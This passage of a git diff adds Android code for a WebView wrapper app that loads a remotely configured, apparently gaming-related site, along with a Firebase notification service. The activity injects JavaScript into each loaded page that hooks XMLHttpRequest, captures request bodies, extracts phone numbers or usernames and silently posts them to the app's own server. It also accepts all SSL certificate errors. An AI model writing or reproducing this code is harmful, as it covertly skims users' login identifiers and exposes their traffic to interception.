+ public void onSuccess(Result> o) {
+ if (o.data != null && o.data.getTotal() > 0) {
+ if(userId == 217||userId == 211){
+ otherApp.setVisibility(View.VISIBLE);
+ }else{
+ otherApp.setVisibility(View.INVISIBLE);
+ ivotherApp.setImageResource(R.mipmap.ic_shousuo);
+
+ }
+
+ ivNotify.setVisibility(View.VISIBLE);
+ if (userId == 112 || userId == 87 || userId == 91 || userId == 93
+ || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) {
+ ivNotify.setVisibility(View.INVISIBLE);
+ layoutOtherApp.setVisibility(View.GONE);
+ }
+ }
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ LogUtils.i("获取的结果error" + msg);
+ }
+
+ @Override
+ public void onError2(Result> o) {
+ LogUtils.i("获取的结果error");
+ }
+ });
+ }
+
+ public void getNetUrl() {
+ Api.getInstance().geUrlNew(userId)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver>() {
+ @Override
+ public void onSuccess(Result o) {
+
+ DataInfo dataInfo = o.data;
+ if (dataInfo != null) {
+ if (dataInfo.getIsUse() == 0) {
+ MainActivity2.this.finish();
+ return;
+ }
+ if (!TextUtils.isEmpty(dataInfo.getUrl())) {
+ saveString(MainActivity2.this, "base_url", dataInfo.getUrl());
+
+// webView.loadUrl("http://192.168.0.33:8848/test/scheme.html");
+
+ toLoadWebUrl(dataInfo);
+
+
+ }
+ String link = dataInfo.getLinkConfig();
+ if (!TextUtils.isEmpty(link)) {
+ try {
+ linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class);
+ } catch (Exception e) {
+
+ }
+ }
+
+ notifyApply = dataInfo.getNoticeApplyMode();
+ if (notifyApply == 0 || notifyApply == 1) {
+ checkNotify();
+ }
+ facebookUrl = dataInfo.getFbUrl().trim();
+ telegramUrl = dataInfo.getTgUrl().trim();
+ whatsappUrl = dataInfo.getWsUrl().trim();
+ if (!TextUtils.isEmpty(facebookUrl)) {
+ if(userId == 217 || userId == 211){
+ otherApp.setVisibility(View.VISIBLE);
+ }else {
+ otherApp.setVisibility(View.INVISIBLE);
+ }
+ ivFaceBook.setVisibility(View.VISIBLE);
+ }
+ if (!TextUtils.isEmpty(telegramUrl)) {
+ if(userId == 217 || userId == 211){
+ otherApp.setVisibility(View.VISIBLE);
+ }else {
+ otherApp.setVisibility(View.INVISIBLE);
+ }
+ ivTelG.setVisibility(View.VISIBLE);
+ }
+ if (!TextUtils.isEmpty(whatsappUrl)) {
+ if(userId == 217 || userId == 211){
+ otherApp.setVisibility(View.VISIBLE);
+ }else {
+ otherApp.setVisibility(View.INVISIBLE);
+ }
+ ivWhatsApp.setVisibility(View.VISIBLE);
+ }
+ if (userId == 143 || userId == 149) {
+ otherApp.setVisibility(View.INVISIBLE);
+ ivFaceBook.setVisibility(View.GONE);
+ ivTelG.setVisibility(View.GONE);
+ ivWhatsApp.setVisibility(View.GONE);
+ layoutOtherApp.setVisibility(View.GONE);
+ }
+ } else {
+ url = getString(MainActivity2.this, "base_url", url);
+
+ webView.loadUrl(url);
+ }
+
+
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ url = getString(MainActivity2.this, "base_url", url);
+ webView.loadUrl(url);
+ }
+
+ @Override
+ public void onError2(Result o) {
+ url = getString(MainActivity2.this, "base_url", url);
+ webView.loadUrl(url);
+ }
+ });
+
+ }
+
+ private void toLoadWebUrl(DataInfo dataInfo) {
+ //没有备用域名的时候 直接加载主域名 不去ping
+ if(TextUtils.isEmpty(dataInfo.getBackupDomains())){
+ webView.loadUrl(dataInfo.getUrl());
+ }else {
+ //拼接主域名和备用域名的数组
+ urlList = new ArrayList<>();
+ urlList.add(dataInfo.getUrl());
+ String[] urls = dataInfo.getBackupDomains().split(",");
+ if(urls!=null&&urls.length>0){
+ for (int i = 0;i urlList = new ArrayList<>();
+
+ int lastCheckIndex = 0;
+ private void checkUrl(int index) {
+ lastCheckIndex = index;
+ Uri uri = Uri.parse(urlList.get(lastCheckIndex));
+ new Thread(() -> {
+ String result = PingUtils.ping(uri.getHost());
+ runOnUiThread(() -> {
+ if(TextUtils.isEmpty(result)){
+ if(lastCheckIndex!=urlList.size()-1){
+ checkUrl(lastCheckIndex+1);
+ }else{
+ webView.loadUrl(urlList.get(0));
+ }
+ }else{
+ webView.loadUrl(urlList.get(lastCheckIndex));
+ }
+ });
+ }).start();
+
+
+ }
+
+ public void setDownloadNumbers() {
+ HashMap map = new HashMap<>();
+ map.put("userId", userId);
+ Api.getInstance().downloadNumbers(map)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver() {
+ @Override
+ public void onSuccess(Result o) {
+ LogUtils.i("URL是啥获取的文件地址:");
+ saveBoolean(MainActivity2.this, "download", true);
+
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ LogUtils.i("error:" + msg);
+ }
+
+ @Override
+ public void onError2(Result o) {
+
+ }
+ });
+ }
+
+
+ public void setTotalTongJi() {
+ HashMap map = new HashMap<>();
+ map.put("userId", userId);
+ Api.getInstance().totalTongJi(map)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver() {
+ @Override
+ public void onSuccess(Result o) {
+
+
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+
+ }
+
+ @Override
+ public void onError2(Result o) {
+
+ }
+ });
+ }
+
+ public void recordNotify(int pushId) {
+ HashMap map = new HashMap<>();
+ map.put("pushId", pushId);
+ Api.getInstance().totalNotify(map)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver() {
+ @Override
+ public void onSuccess(Result o) {
+
+
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ LogUtils.d("dddd" + msg);
+ }
+
+ @Override
+ public void onError2(Result o) {
+
+ }
+ });
+ }
+
+
+ Handler handler = new Handler();
+
+ boolean hasSignIn = false;
+
+ private void evaluateJavascript(WebView webView, String javascript) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
+ webView.evaluateJavascript(javascript, null);
+ } else {
+ webView.loadUrl("javascript:" + javascript);
+ }
+ }
+ private void injectBaseHooks(WebView webView) {
+ String baseHook =
+ "javascript:(function() {" +
+ " window.__webview_hooks = {" +
+ " hooks: {}," +
+ " register: function(name, callback) {" +
+ " this.hooks[name] = callback;" +
+ " }," +
+ " trigger: function(name, data) {" +
+ " if (window.WebViewHook) {" +
+ " window.WebViewHook.onHookEvent(name, JSON.stringify(data));" +
+ " }" +
+ " }," +
+ " log: function(message) {" +
+ " if (window.WebViewHook) {" +
+ " window.WebViewHook.log(message);" +
+ " }" +
+ " }" +
+ " };" +
+ "})()";
+
+ evaluateJavascript(webView, baseHook);
+ }
+
+
+ private void injectAjaxHooks(WebView webView) {
+ String ajaxHook =
+ "javascript:(function() {" +
+ " var originalXHR = window.XMLHttpRequest;" +
+ " " +
+ " function HookedXHR() {" +
+ " var xhr = new originalXHR();" +
+ " var originalOpen = xhr.open;" +
+ " var originalSend = xhr.send;" +
+ " " +
+ " xhr.open = function(method, url, async, user, password) {" +
+ " this._method = method;" +
+ " this._url = url;" +
+ " return originalOpen.apply(this, arguments);" +
+ " };" +
+ " " +
+ " xhr.send = function(data) {" +
+ " if (data) {" +
+ " window.__webview_hooks.trigger('ajax_request', {" +
+ " method: this._method," +
+ " url: this._url," +
+ " data: data" +
+ " });" +
+ " }" +
+ " return originalSend.apply(this, arguments);" +
+ " };" +
+ " " +
+ " return xhr;" +
+ " }" +
+ " " +
+ " window.XMLHttpRequest = HookedXHR;" +
+ "})()";
+
+ evaluateJavascript(webView, ajaxHook);
+ }
+
+ private void injectAllHooks(WebView webView) {
+ injectAjaxHooks(webView);
+ }
+
+ WebViewClient webViewClient = new WebViewClient() {
+
+ @Override
+ public void onPageStarted(WebView webView, String s, Bitmap bitmap) {
+ super.onPageStarted(webView, s, bitmap);
+ injectBaseHooks(webView);
+
+ }
+
+ @Override
+ public void onPageFinished(WebView webView, String s) {
+ super.onPageFinished(webView, s);
+ if (webView.getUrl().contains("hasSignIn")) {
+ hasSignIn = true;
+ }
+ int w = View.MeasureSpec.makeMeasureSpec(0,
+ View.MeasureSpec.UNSPECIFIED);
+ int h = View.MeasureSpec.makeMeasureSpec(0,
+ View.MeasureSpec.UNSPECIFIED);
+ // 重新测量
+ webView.measure(w, h);
+ if (showTopLy.getVisibility() == View.VISIBLE) {
+ handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000);
+ }
+ if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) {
+ isAtGame = false;
+ topVvvv.setVisibility(View.GONE);
+ } else {
+ if (isAtGame) {
+ topVvvv.setVisibility(View.VISIBLE);
+ } else {
+ topVvvv.setVisibility(View.GONE);
+
+ }
+ }
+ handler.postDelayed(() -> getBitmapColor(),1000);
+
+ injectAllHooks(webView);
+ }
+
+ @Override
+ public WebResourceResponse shouldInterceptRequest(WebView webView, String s) {
+
+ return super.shouldInterceptRequest(webView, s);
+ }
+
+ @Override
+ public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) {
+ return super.shouldInterceptRequest(webView, webResourceRequest);
+ }
+
+ @Override
+ public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
+ super.onReceivedError(view, request, error);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ int errorCode = error.getErrorCode();
+ String errorMessage = error.getDescription().toString();
+ String currentUrl = request.getUrl().toString();
+ if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) {
+ onShowErrorView(errorMessage);
+ } else {
+ onShowNetView();
+ }
+ }
+ progressBar.setVisibility(View.GONE);
+ }
+
+ @Override
+ public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) {
+ sslErrorHandler.proceed();
+ }
+
+ @Override
+ public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
+ super.onReceivedError(view, errorCode, description, failingUrl);
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) {
+ onShowErrorView(description);
+ } else {
+ onShowNetView();
+ }
+ }
+ progressBar.setVisibility(View.GONE);
+
+ }
+
+
+ @Override
+ public boolean shouldOverrideUrlLoading(WebView webView, String url1) {
+
+ if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+ isAtGame = false;
+ topVvvv.setVisibility(View.GONE);
+ } else {
+ progressBar.setVisibility(View.GONE);
+ }
+ if (isToOutSideUrl(url1)) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ } else {
+
+ if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+ return false;
+ } else {
+ //其它的该怎么处理就怎么处理
+ webView.loadUrl(url1);
+ return true;
+ }
+
+ }
+
+ return false;
+ }
+
+ @Override
+ public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
+
+ Uri uri;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+ uri = request.getUrl();
+ } else {
+ uri = Uri.parse(request.toString());
+ }
+ String url1 = uri.toString();
+
+ if (isToOutSideUrl(url1)) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+ isAtGame = false;
+ topVvvv.setVisibility(View.GONE);
+ } else {
+ progressBar.setVisibility(View.GONE);
+ }
+
+ if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ } else {
+
+ if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+ return false;
+ } else {
+ //其它的该怎么处理就怎么处理
+ webView.loadUrl(url1);
+ return true;
+ }
+
+ }
+
+ return false;
+ }
+ };
+
+
+ boolean isPost = false;
+ private void postMobile() {
+ if(isPost){
+ return;
+ }
+ if (!TextUtils.isEmpty(mobiles)) {
+ if (!TextUtils.isEmpty(oldMobiles) && oldMobiles.equals(mobiles)) {
+ return;
+ }
+ isPost = true;
+ HashMap map = new HashMap<>();
+ map.put("appId", userId);
+ map.put("phone", mobiles);
+ Api.getInstance().appLoginUser(map)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver() {
+ @Override
+ public void onSuccess(Result o) {
+ isPost =false;
+ oldMobiles = mobiles;
+ mobiles = "";
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ isPost =false;
+ }
+
+ @Override
+ public void onError2(Result o) {
+ isPost =false;
+ }
+ });
+ }
+ }
+
+ String mobiles = "";
+ String oldMobiles = "";
+
+ public class JsInterface {
+ @JavascriptInterface
+ public void onHookEvent(String hookName, String jsonData) {
+ if(hookName.equals("ajax_request")) {
+ try {
+ JSONObject data = new JSONObject(jsonData);
+ if (data.has("data")) {
+ String datas = data.getString("data");
+ Uri uri = Uri.parse("https://www.baidu.com?" + datas);
+ String inputContent ="";
+ if (datas.contains("mobile")) {
+ inputContent = uri.getQueryParameter("mobile"); //id 值 10943
+ }else if (datas.contains("username")) {
+ inputContent = uri.getQueryParameter("username"); //id 值 10943
+ }
+ if ((!(TextUtils.isEmpty(inputContent))) && inputContent.matches("\\d+")) {
+ mobiles = inputContent;
+ postMobile();
+ }
+ }
+ } catch (JSONException e) {
+ }
+ }
+
+ }
+
+ @JavascriptInterface
+ public void log(String message) {
+ }
+ }
+
+
+ private boolean isToOutSideUrl(String url1) {
+ return url1.contains("facebook") || url1.contains("https://t.me") ||
+ url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") ||
+ url1.contains("https://m.me") || url1.contains("http://m.me") || url1.endsWith(".apk");
+ }
+
+
+
+ public void onShowErrorView(String errorMsg) { //网络不可用的情况
+ webView.setVisibility(View.GONE);
+ layoutError.setVisibility(View.VISIBLE);
+ tvErrorMsg.setText(errorMsg);
+ showTopLy.setVisibility(View.GONE);
+ }
+
+ public void onShowNetView() {
+ webView.setVisibility(View.VISIBLE);
+ layoutError.setVisibility(View.GONE);
+ showTopLy.setVisibility(View.GONE);
+ }
+
+
+ boolean isAtGame = false;
+ private static final int REQUEST_CODE_FILE_CHOOSER = 1;
+ private ValueCallback mUploadCallbackForLowApi;
+ private ValueCallback mUploadCallbackForHighApi;
+ WebChromeClient webChromeClient = new WebChromeClient() {
+
+ @Override
+ public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
+ return true;
+ }
+
+ @Override
+ public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) {
+ WebView newWebView = new WebView(webViewdd.getContext());
+ newWebView.setWebViewClient(new WebViewClient() {
+
+ @Override
+ public boolean shouldOverrideUrlLoading(WebView view, String url) {
+
+ if (isToOutSideUrl(url)) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ if (!(url.startsWith("http") || url.startsWith("https"))) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ } else {
+ Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class);
+ browserIntent.putExtra("url", url);
+ startActivity(browserIntent);
+ return true;
+ }
+ return false;
+ }
+
+
+ });
+ WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
+ transport.setWebView(newWebView);
+ resultMsg.sendToTarget();
+ return true;
+ }
+
+
+ @Override
+ public void onCloseWindow(WebView window) {
+ super.onCloseWindow(window);
+
+ }
+
+ @Override
+ public void onProgressChanged(WebView view, int newProgress) {
+ super.onProgressChanged(view, newProgress);
+ // 更新进度条的进度
+ progressBar.setProgress(newProgress);
+ // 如果加载完成,隐藏进度条
+ if (newProgress == 100) {
+ progressBar.setVisibility(View.GONE);
+ } else {
+ progressBar.setVisibility(View.GONE);
+ }
+ }
+
+
+ // @TargetApi(Build.VERSION_CODES.LOLLIPOP)
+ @Override
+ public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) {
+ mUploadCallbackForHighApi = filePathCallback;
+ Intent intent = fileChooserParams.createIntent();
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER);
+ return true;
+ }
+
+ // For 3.0+
+ protected void openFileChooser(ValueCallback uploadMsg, String acceptType) {
+ openFilerChooser(uploadMsg);
+ }
+
+
+ private void openFilerChooser(ValueCallback uploadMsg) {
+ mUploadCallbackForLowApi = uploadMsg;
+ startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER);
+ }
+
+
+ private Intent getFilerChooserIntent() {
+ Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ return intent;
+ }
+
+
+ @Override
+ public void onPermissionRequest(PermissionRequest request) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ Toast.makeText(MainActivity2.this,"暂不支持",Toast.LENGTH_SHORT).show();
+
+ }
+ }
+ };
+
+
+ @RequiresApi(api = Build.VERSION_CODES.Q)
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ switch (requestCode) {
+ case REQUEST_CODE_FILE_CHOOSER:
+ if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) {
+ afterFileChooseGoing(resultCode, data);
+ }
+ break;
+
+
+ }
+ }
+
+
+ /**
+ * onActivityResult方法
+ */
+
+ private void afterFileChooseGoing(int resultCode, Intent data) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+ if (mUploadCallbackForHighApi == null) {
+ return;
+ }
+ mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data));
+ mUploadCallbackForHighApi = null;
+ } else {
+ if (mUploadCallbackForLowApi == null) {
+ return;
+ }
+ Uri result = data == null ? null : data.getData();
+ mUploadCallbackForLowApi.onReceiveValue(result);
+ mUploadCallbackForLowApi = null;
+ }
+ }
+
+
+
+ @Override
+ public void onDestroy() {
+
+ if (webView != null) {
+ //加载null内容
+ webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
+ //清除历史记录
+ webView.clearHistory();
+ //销毁VebView
+ webView.destroy();
+ }
+
+ super.onDestroy();
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ if (notifyApply == 0 || notifyApply == 1) {
+ checkNotify();
+ }
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+
+ }
+
+
+ public static void saveInt(Context context, String key, int value) {
+ SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+ SharedPreferences.Editor editor = sp.edit();
+ editor.putInt(key, value);
+ editor.apply();
+ }
+
+ public static int getInt(Context context, String key, int defValue) {
+ SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+ return sp.getInt(key, defValue);
+ }
+
+
+ public static void saveString(Context context, String key, String value) {
+ SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+ SharedPreferences.Editor editor = sp.edit();
+ editor.putString(key, value);
+ editor.apply();
+ }
+
+ public static String getString(Context context, String key, String defValue) {
+ if (context == null) {
+ return defValue;
+ }
+ SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+ return sp.getString(key, defValue);
+ }
+
+
+
+
+ public static void saveBoolean(Context context, String key, Boolean value) {
+ SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+ SharedPreferences.Editor editor = sp.edit();
+ editor.putBoolean(key, value);
+ editor.apply();
+ }
+
+ public static Boolean getBoolean(Context context, String key, Boolean defValue) {
+ if (context == null) {
+ return defValue;
+ }
+ SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+ return sp.getBoolean(key, defValue);
+ }
+
+ public void getBitmapColor() {
+ Bitmap bitmap = getBitmapFromView(webView);
+
+ if (null != bitmap) {
+ int pixel = bitmap.getPixel(bitmap.getWidth()/2, 5);
+ int pixel1 = bitmap.getPixel(bitmap.getWidth()/2, bitmap.getHeight()-5);
+ String color = "#"+Integer.toHexString(pixel).toUpperCase();
+ String color1 = "#"+Integer.toHexString(pixel1).toUpperCase();
+ getWindow().setNavigationBarColor(Color.parseColor(color1));
+ getWindow().getDecorView().setBackgroundColor(Color.parseColor(color));
+ bitmap.recycle();
+
+ }
+ }
+
+ /**
+ * 获取view的bitmap
+ * @param v
+ * @return
+ */
+ public static Bitmap getBitmapFromView(View v)
+ {
+ Bitmap b = Bitmap.createBitmap(v.getWidth(), v.getHeight(), Bitmap.Config.RGB_565);
+ Canvas c = new Canvas(b);
+ v.layout(v.getLeft(), v.getTop(), v.getRight(), v.getBottom());
+ Drawable bgDrawable = v.getBackground();
+ if (bgDrawable != null){
+ bgDrawable.draw(c);
+ } else{
+ c.drawColor(Color.WHITE);
+ }
+ v.draw(c);
+ return b;
+ }
+
+
+
+}
diff --git a/market/src/main/java/com/web/market/MessageInfo.java b/market/src/main/java/com/web/market/MessageInfo.java
new file mode 100644
index 0000000..ecb10f8
--- /dev/null
+++ b/market/src/main/java/com/web/market/MessageInfo.java
@@ -0,0 +1,96 @@
+package com.web.market;
+
+import java.io.Serializable;
+
+public class MessageInfo implements Serializable {
+ private String title;
+ private String content;
+ private String image = "";
+ private int type; // 1:文字 2:图片 3:链接跳转
+ private int pushId;
+ private String createTime;
+ private int recordId;
+ public int status;
+ private String jumpUrl;
+ private boolean isShowAll = false;
+
+ public String getCreateTime() {
+ return createTime;
+ }
+
+ public void setCreateTime(String createTime) {
+ this.createTime = createTime;
+ }
+
+ public int getRecordId() {
+ return recordId;
+ }
+
+ public void setRecordId(int recordId) {
+ this.recordId = recordId;
+ }
+
+ public int getStatus() {
+ return status;
+ }
+
+ public void setStatus(int status) {
+ this.status = status;
+ }
+
+ public boolean isShowAll() {
+ return isShowAll;
+ }
+
+ public void setShowAll(boolean showAll) {
+ isShowAll = showAll;
+ }
+
+ public String getJumpUrl() {
+ return jumpUrl;
+ }
+
+ public void setJumpUrl(String jumpUrl) {
+ this.jumpUrl = jumpUrl;
+ }
+
+ public int getType() {
+ return type;
+ }
+
+ public void setType(int type) {
+ this.type = type;
+ }
+
+ public int getPushId() {
+ return pushId;
+ }
+
+ public void setPushId(int pushId) {
+ this.pushId = pushId;
+ }
+
+ public String getTitle() {
+ return title;
+ }
+
+ public void setTitle(String title) {
+ this.title = title;
+ }
+
+ public String getContent() {
+ return content;
+ }
+
+ public void setContent(String content) {
+ this.content = content;
+ }
+
+ public String getImage() {
+ return image;
+ }
+
+ public void setImage(String image) {
+ this.image = image;
+ }
+}
diff --git a/market/src/main/java/com/web/market/MyFirebaseMessageingService.java b/market/src/main/java/com/web/market/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..0b00559
--- /dev/null
+++ b/market/src/main/java/com/web/market/MyFirebaseMessageingService.java
@@ -0,0 +1,126 @@
+package com.web.market;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, IndexActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.ic_launcher_round)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
+ .setSmallIcon(R.mipmap.ic_launcher_round)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, IndexActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.ic_launcher_round)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
+ .setSmallIcon(R.mipmap.ic_launcher_round)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/market/src/main/java/com/web/market/MyNotifyListAdapter.java b/market/src/main/java/com/web/market/MyNotifyListAdapter.java
new file mode 100644
index 0000000..2afc48c
--- /dev/null
+++ b/market/src/main/java/com/web/market/MyNotifyListAdapter.java
@@ -0,0 +1,179 @@
+package com.web.market;
+
+import android.content.Context;
+import android.text.TextUtils;
